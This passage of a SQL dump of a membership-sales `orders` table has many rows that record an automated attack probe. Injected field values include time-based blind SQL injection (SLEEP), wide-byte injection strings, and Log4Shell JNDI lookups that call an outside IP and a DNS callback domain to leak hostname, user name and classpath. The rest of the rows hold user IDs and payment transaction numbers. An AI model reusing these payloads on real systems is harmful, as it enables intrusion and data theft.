NULL); -INSERT INTO `orders` VALUES ('MP20260305123054106015', 'MP20260305123054106015', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))vukh) limit ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:54.657', '2026-03-05 04:30:54.657', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055061717', 'MP20260305123055061717', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\')) AND (SELECT*FROM(SELECT(SLEEP(4)))mzcv) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.248', '2026-03-05 04:30:55.248', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055313406', 'MP20260305123055313406', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\") AND (SELECT*FROM(SELECT(SLEEP(4)))jbsq) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.405', '2026-03-05 04:30:55.405', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055633142', 'MP20260305123055633142', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\") AND (SELECT*FROM(SELECT(SLEEP(3)))mwpv) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.733', '2026-03-05 04:30:55.733', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055810677', 'MP20260305123055810677', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") AND (SELECT*FROM(SELECT(SLEEP(3)))wlvm) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.681', '2026-03-05 04:30:55.681', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055939506', 'MP20260305123055939506', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\')) AND (SELECT*FROM(SELECT(SLEEP(3)))ghgr) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.304', '2026-03-05 04:30:55.304', NULL); -INSERT INTO `orders` VALUES ('MP20260305123056137837', 'MP20260305123056137837', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\") AND (SELECT*FROM(SELECT(SLEEP(4)))dwhz) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:56.332', '2026-03-05 04:30:56.332', NULL); -INSERT INTO `orders` VALUES ('MP20260305123056707042', 'MP20260305123056707042', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\") AND (SELECT*FROM(SELECT(SLEEP(3)))pkk', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:56.277', '2026-03-05 04:30:56.277', NULL); -INSERT INTO `orders` VALUES ('MP20260305123056833803', 'MP20260305123056833803', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") AND (SELECT*FROM(SELECT(SLEEP(4)))qeha) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:56.219', '2026-03-05 04:30:56.219', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058213346', 'MP20260305123058213346', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\") AND (SELECT*FROM(SELECT(SLEEP(4)))lcwi) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.749', '2026-03-05 04:30:58.749', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058226910', 'MP20260305123058226910', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' AND (SELECT*FROM(SELECT(SLEEP(3)))kehj) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.911', '2026-03-05 04:30:58.911', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058277683', 'MP20260305123058277683', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' AND (SELECT*FROM(SELECT(SLEEP(3)))hphs) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.801', '2026-03-05 04:30:58.801', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058825973', 'MP20260305123058825973', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' AND (SELECT*FROM(SELECT(SLEEP(2)))somz) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.857', '2026-03-05 04:30:58.857', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059019415', 'MP20260305123059019415', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' AND (SELECT*FROM(SELECT(SLEEP(4)))ayho) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.134', '2026-03-05 04:30:59.134', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059077577', 'MP20260305123059077577', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' AND (SELECT*FROM(SELECT(SLEEP(2)))yvze) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.988', '2026-03-05 04:30:59.988', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059166666', 'MP20260305123059166666', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' AND (SELECT*FROM(SELECT(SLEEP(4)))issm', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.066', '2026-03-05 04:30:59.066', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059569867', 'MP20260305123059569867', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\") AND (SELECT*FROM(SELECT(SLEEP(3)))eigz) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.886', '2026-03-05 04:30:59.886', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059892779', 'MP20260305123059892779', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' AND (SELECT*FROM(SELECT(SLEEP(3)))nywf) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.017', '2026-03-05 04:30:59.017', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100328088', 'MP20260305123100328088', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\') AND (SELECT*FROM(SELECT(SLEEP(3)))htyf) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.103', '2026-03-05 04:31:00.103', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100542247', 'MP20260305123100542247', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' AND (SELECT*FROM(SELECT(SLEEP(4)))ucpa) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.926', '2026-03-05 04:31:00.926', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100832081', 'MP20260305123100832081', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\') AND (SELECT*FROM(SELECT(SLEEP(3)))epzr) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.597', '2026-03-05 04:31:00.597', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100912729', 'MP20260305123100912729', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') AND (SELECT*FROM(SELECT(SLEEP(3)))gqch) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.302', '2026-03-05 04:31:00.302', NULL); -INSERT INTO `orders` VALUES ('MP20260305123101185148', 'MP20260305123101185148', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\') AND (SELECT*FROM(SELECT(SLEEP(4)))rur', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:01.204', '2026-03-05 04:31:01.204', NULL); -INSERT INTO `orders` VALUES ('MP20260305123101447507', 'MP20260305123101447507', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') AND (SELECT*FROM(SELECT(SLEEP(3)))thnv) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:01.092', '2026-03-05 04:31:01.092', NULL); -INSERT INTO `orders` VALUES ('MP20260305123101940388', 'MP20260305123101940388', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\') AND (SELECT*FROM(SELECT(SLEEP(4)))iusc) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:01.263', '2026-03-05 04:31:01.263', NULL); -INSERT INTO `orders` VALUES ('MP20260305123102021835', 'MP20260305123102021835', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\') AND (SELECT*FROM(SELECT(SLEEP(3)))fsdp) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:02.087', '2026-03-05 04:31:02.087', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103120831', 'MP20260305123103120831', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc AND (SELECT*FROM(SELECT(SLEEP(3)))jmjh) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.424', '2026-03-05 04:31:03.424', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103227578', 'MP20260305123103227578', 'ogpTW5duSAZQhIEcU1dRonZaMskc', ' AND (SELECT*FROM(SELECT(SLEEP(3)))ylza) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.480', '2026-03-05 04:31:03.480', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103317663', 'MP20260305123103317663', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip AND (SELECT*FROM(SELECT(SLEEP(4)))rucx) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.543', '2026-03-05 04:31:03.543', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103354883', 'MP20260305123103354883', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\') AND (SELECT*FROM(SELECT(SLEEP(3)))sxdr) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.315', '2026-03-05 04:31:03.315', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103760853', 'MP20260305123103760853', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', ' AND (SELECT*FROM(SELECT(SLEEP(2)))cdye) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.646', '2026-03-05 04:31:03.646', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103899151', 'MP20260305123103899151', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual AND (SELECT*FROM(SELECT(SLEEP(3)))whxg)', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.596', '2026-03-05 04:31:03.596', NULL); -INSERT INTO `orders` VALUES ('MP20260305123104062766', 'MP20260305123104062766', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, ' AND (SELECT*FROM(SELECT(SLEEP(3)))ensg) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:04.676', '2026-03-05 04:31:04.676', NULL); -INSERT INTO `orders` VALUES ('MP20260305123104075751', 'MP20260305123104075751', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天) AND (SELECT*FROM(SELECT(SLEEP(4)))uvjy) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:04.622', '2026-03-05 04:31:04.622', NULL); -INSERT INTO `orders` VALUES ('MP20260305123105062230', 'MP20260305123105062230', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', ' AND (SELECT*FROM(SELECT(SLEEP(3)))ogib) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:05.728', '2026-03-05 04:31:05.728', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106351983', 'MP20260305123106351983', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:rmi://183.47.120.213:1099/bypass1dcb88e9576ccbf8338e7a990eb4b5f1-/-${hostName}}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.681', '2026-03-05 04:31:06.681', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106399147', 'MP20260305123106399147', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://183.47.120.213:1099/bypass9173e676342', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.468', '2026-03-05 04:31:06.468', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106936299', 'MP20260305123106936299', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://183.47.120.213:1099/bypass7d39c23e52caaf7f4a72f8907e4fb91b-/-${hostName}}', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.413', '2026-03-05 04:31:06.413', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106999552', 'MP20260305123106999552', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:rmi://183.47.120.213:1099/bypass184a50bf6dc', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.527', '2026-03-05 04:31:06.527', NULL); -INSERT INTO `orders` VALUES ('MP20260305123107311409', 'MP20260305123107311409', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:ldap://183.47.120.213:1389/jdk18de19af13d2d', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:07.326', '2026-03-05 04:31:07.326', NULL); -INSERT INTO `orders` VALUES ('MP20260305123107419116', 'MP20260305123107419116', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://183.47.120.213:1389/jdk1825f1eacb46a93bdc1f65b08f05d748a4-/-${hostName}}', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:07.213', '2026-03-05 04:31:07.213', NULL); -INSERT INTO `orders` VALUES ('MP20260305123107698638', 'MP20260305123107698638', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://183.47.120.213:1389/jdk187cf9894575f', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:07.269', '2026-03-05 04:31:07.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108000393', 'MP20260305123108000393', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.ce9cc09', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.247', '2026-03-05 04:31:08.247', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108249181', 'MP20260305123108249181', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:ldap://183.47.120.213:1389/jdk18d9753acd0ec510e88298984e68cd617a-/-${hostName}}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.194', '2026-03-05 04:31:08.194', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108539306', 'MP20260305123108539306', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:ldap://hostname-${hostName}.username-${sys:', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.731', '2026-03-05 04:31:08.731', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108914243', 'MP20260305123108914243', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://hostname-${hostName}.username-${sys:', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.302', '2026-03-05 04:31:08.302', NULL); -INSERT INTO `orders` VALUES ('MP20260305123109339386', 'MP20260305123109339386', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.459d2aae392b0b0cf6909e3af24e317d.4j2.mauu.mauu.me/}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:09.304', '2026-03-05 04:31:09.304', NULL); -INSERT INTO `orders` VALUES ('MP20260305123109626606', 'MP20260305123109626606', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.bae0dd2e', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:09.410', '2026-03-05 04:31:09.410', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110148662', 'MP20260305123110148662', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.b839ca2fbb8c1c484f879e28157a358b.4j2.mauu.mauu.me/}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.479', '2026-03-05 04:31:10.479', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110173049', 'MP20260305123110173049', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:rmi://hostname-${hostName}.username-${sys:u', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.305', '2026-03-05 04:31:10.305', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110260938', 'MP20260305123110260938', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.929', '2026-03-05 04:31:10.929', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110627939', 'MP20260305123110627939', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://hostname-${hostName}.username-${sys:u', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.246', '2026-03-05 04:31:10.246', NULL); -INSERT INTO `orders` VALUES ('MP20260305123111152650', 'MP20260305123111152650', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'aaaa\'%bf%27', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:11.269', '2026-03-05 04:31:11.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123111471678', 'MP20260305123111471678', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'aaaa\'%bf%27', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:11.857', '2026-03-05 04:31:11.857', NULL); -INSERT INTO `orders` VALUES ('MP20260305123111861414', 'MP20260305123111861414', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:11.583', '2026-03-05 04:31:11.583', NULL); -INSERT INTO `orders` VALUES ('MP20260305123112234943', 'MP20260305123112234943', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:12.455', '2026-03-05 04:31:12.455', NULL); -INSERT INTO `orders` VALUES ('MP20260305123112977159', 'MP20260305123112977159', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'aaaa\'%bf%27', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:12.726', '2026-03-05 04:31:12.726', NULL); -INSERT INTO `orders` VALUES ('MP20260305123113040024', 'MP20260305123113040024', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, 'aaaa\'%bf%27', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:13.349', '2026-03-05 04:31:13.349', NULL); -INSERT INTO `orders` VALUES ('MP20260305123113160108', 'MP20260305123113160108', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:13.037', '2026-03-05 04:31:13.037', NULL); -INSERT INTO `orders` VALUES ('MP20260305123113549177', 'MP20260305123113549177', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:13.958', '2026-03-05 04:31:13.958', NULL); -INSERT INTO `orders` VALUES ('MP20260305142300758656', 'MP20260305142300758656', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 06:23:00.348', '2026-03-05 06:23:00.348', NULL); -INSERT INTO `orders` VALUES ('MP20260305142527612975', 'MP20260305142527612975', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 06:25:27.523', '2026-03-05 06:25:27.523', NULL); -INSERT INTO `orders` VALUES ('MP20260305142941918000', 'MP20260305142941918000', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:29:41.718', '2026-03-05 06:29:41.718', NULL); -INSERT INTO `orders` VALUES ('MP20260305142942119166', 'MP20260305142942119166', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:29:42.959', '2026-03-05 06:29:42.959', NULL); -INSERT INTO `orders` VALUES ('MP20260305142950496170', 'MP20260305142950496170', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:29:50.140', '2026-03-05 06:29:50.140', NULL); -INSERT INTO `orders` VALUES ('MP20260305143013400734', 'MP20260305143013400734', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:30:13.100', '2026-03-05 06:30:13.100', NULL); -INSERT INTO `orders` VALUES ('MP20260305143015963950', 'MP20260305143015963950', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:30:15.835', '2026-03-05 06:30:15.835', NULL); -INSERT INTO `orders` VALUES ('MP20260305143845470449', 'MP20260305143845470449', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '1.4', 1.00, '章节1.4-1.4', 'paid', '4200003096202603053391831245', '2026-03-05 12:05:40.286', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 06:38:45.752', '2026-03-05 12:05:40.290', 'ces '); -INSERT INTO `orders` VALUES ('MP20260305144001501755', 'MP20260305144001501755', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'paid', '4200003080202603053326866109', '2026-03-05 12:05:40.029', '', NULL, '2026-03-05 06:40:01.508', '2026-03-05 12:05:40.035', '测试'); -INSERT INTO `orders` VALUES ('MP20260305160412776209', 'MP20260305160412776209', 'ogpTW5Uh4VBve_oCB4EcUoO4GSgY', 'ogpTW5Uh4VBve_oCB4EcUoO4GSgY', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 08:04:12.592', '2026-03-05 08:04:12.592', NULL); -INSERT INTO `orders` VALUES ('MP20260305173857302854', 'MP20260305173857302854', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 